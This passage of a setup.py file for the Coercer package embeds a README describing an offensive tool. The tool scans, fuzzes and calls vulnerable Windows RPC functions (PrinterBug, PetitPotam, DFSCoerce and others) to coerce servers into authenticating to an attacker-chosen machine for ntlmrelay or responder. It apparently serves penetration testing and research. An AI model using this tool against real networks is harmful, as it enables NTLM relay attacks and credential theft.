21 | 22 | 23 | ## Features 24 | 25 | - Core: 26 | + [x] Lists open SMB pipes on the remote machine (in modes [scan](./documentation/Scan-mode.md) authenticated and [fuzz](./documentation/Fuzz-mode.md) authenticated) 27 | + [x] Tries to connect on a list of known SMB pipes on the remote machine (in modes [scan](./documentation/Scan-mode.md) unauthenticated and [fuzz](./documentation/Fuzz-mode.md) unauthenticated) 28 | + [x] Calls one by one all the vulnerable RPC functions to coerce the server to authenticate on an arbitrary machine. 29 | + [x] Random UNC paths generation to avoid caching failed attempts (all modes) 30 | + [x] Configurable delay between attempts with `--delay` 31 | - Options: 32 | + [x] Filter by method name with `--filter-method-name`, by protocol name with `--filter-protocol-name` or by pipe name with `--filter-pipe-name`(all modes) 33 | + [x] Target a single machine `--target` or a list of targets from a file with `--targets-file` 34 | + [x] Specify IP address OR interface to listen on for incoming authentications. (modes [scan](./documentation/Scan-mode.md) and [fuzz](./documentation/Fuzz-mode.md)) 35 | - Exporting results 36 | + [x] Export results in SQLite format (modes [scan](./documentation/Scan-mode.md) and [fuzz](./documentation/Fuzz-mode.md)) 37 | + [x] Export results in JSON format (modes [scan](./documentation/Scan-mode.md) and [fuzz](./documentation/Fuzz-mode.md)) 38 | + [x] Export results in XSLX format (modes [scan](./documentation/Scan-mode.md) and [fuzz](./documentation/Fuzz-mode.md)) 39 | 40 | ## Installation 41 | 42 | You can now install it from pypi (latest version is PyPI) with this command: 43 | 44 | ``` 45 | sudo python3 -m pip install coercer 46 | ``` 47 | 48 | ## Quick start 49 | 50 | - You want to **assess** the Remote Procedure Calls listening on a machine to see if they can be leveraged to coerce an authentication? 51 | + Use [**scan** mode](./documentation/Scan-mode.md), example: 52 | 53 | https://user-images.githubusercontent.com/79218792/204374471-bc5094a3-8539-4df7-842e-faadcaf9c945.mp4 54 | 55 | - You want to **exploit** the Remote Procedure Calls on a remote machine to coerce an authentication to ntlmrelay or responder? 56 | + Use [**coerce** mode](./documentation/Coerce-mode.md), example: 57 | 58 | https://user-images.githubusercontent.com/79218792/204372851-4ba461ed-6812-4057-829d-0af6a06b0ecc.mp4 59 | 60 | - You are doing **research** and want to fuzz Remote Procedure Calls listening on a machine with various paths? 61 | + Use [**fuzz** mode](./documentation/Fuzz-mode.md), example: 62 | 63 | https://user-images.githubusercontent.com/79218792/204373310-64f90835-b544-4760-b0a3-3071429b3940.mp4 64 | 65 | --- 66 | 67 | ## Contributing 68 | 69 | Pull requests are welcome. Feel free to open an issue if you want to add other features. 70 | 71 | ## Credits 72 | 73 | - [@tifkin_](https://twitter.com/tifkin_) and [@elad_shamir](https://twitter.com/elad_shamir) for finding and implementing **PrinterBug** on [MS-RPRN](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1) 74 | - [@topotam77](https://twitter.com/topotam77) for finding and implementing **PetitPotam** on [MS-EFSR](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31) 75 | - [@topotam77](https://twitter.com/topotam77) for finding and [@_nwodtuhs](https://twitter.com/_nwodtuhs) for implementing **ShadowCoerce** on [MS-FSRVP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b) 76 | - [@filip_dragovic](https://twitter.com/filip_dragovic) for finding and implementing **DFSCoerce** on [MS-DFSNM](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/95a506a8-cae6-4c42-b19d-9c1ed1223979) 77 | """ 78 | 79 | with open('requirements.txt', 'r', encoding='utf-8') as f: 80 | requirements = [x.strip() for x in f.readlines()] 81 | 82 | setuptools.setup( 83 | name="coercer", 84 | version="2.4.3", 85 | description="", 86 | url="https://github.com/p0dalirius/Coercer", 87 | author="Podalirius", 88 | long_description=long_description, 89 | long_description_content_type="text/markdown", 90 | author_email="podalirius@protonmail.com", 91 | packages=["coercer", "coercer.core", "coercer.methods", "coercer.models", "coercer.network"], 92 | package_data={'coercer': ['coercer/methods/']}, 93 | include_package_data=True, 94 | license="GPL2", 95 | classifiers=[ 96 | "Programming Language :: Python :: 3", 97 | "License :: OSI Approved :: GNU General Public License v2 (GPLv2)", 98 | "Operating System :: OS Independent", 99 | ], 100 | python_requires='>=3.6', 101 | install_requires=requirements, 102 | entry_points={ 103 | 'console_scripts': ['coercer=coercer.__main__:main'] 104 | } 105 | ) 106 | --------------------------------------------------------------------------------